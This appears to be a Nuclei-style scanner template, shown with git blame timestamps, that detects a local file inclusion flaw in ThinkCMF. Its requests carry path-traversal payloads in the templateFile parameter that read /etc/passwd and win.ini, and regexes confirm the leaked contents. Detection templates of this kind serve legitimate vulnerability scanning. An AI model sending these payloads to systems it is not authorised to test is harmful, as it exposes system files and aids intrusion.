2021-02-11 15:46:20 +00:00
|
|
|
id: thinkcmf-lfi
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: ThinkCMF LFI
|
|
|
|
author: pikpikcu
|
|
|
|
severity: high
|
|
|
|
reference: https://www.freebuf.com/vuls/217586.html
|
2021-02-11 16:53:14 +00:00
|
|
|
tags: thinkcmf,lfi
|
2021-02-11 15:46:20 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/?a=display&templateFile=README.md"
|
|
|
|
- "{{BaseURL}}/?a=display&templateFile=../../../../../../../../../../../../../../../../etc/passwd"
|
|
|
|
- "{{BaseURL}}/?a=display&templateFile=../../../../../../../../../../../../../../../../windows/win.ini"
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
2021-02-12 04:59:05 +00:00
|
|
|
|
2021-02-11 15:46:20 +00:00
|
|
|
- type: regex
|
|
|
|
regex:
|
|
|
|
- "root:[x*]:0:0:"
|
2021-02-12 04:59:05 +00:00
|
|
|
- "\\[(font|extension|file)s\\]"
|
|
|
|
- 'ThinkCMF'
|
|
|
|
part: body
|
2021-02-11 15:46:20 +00:00
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|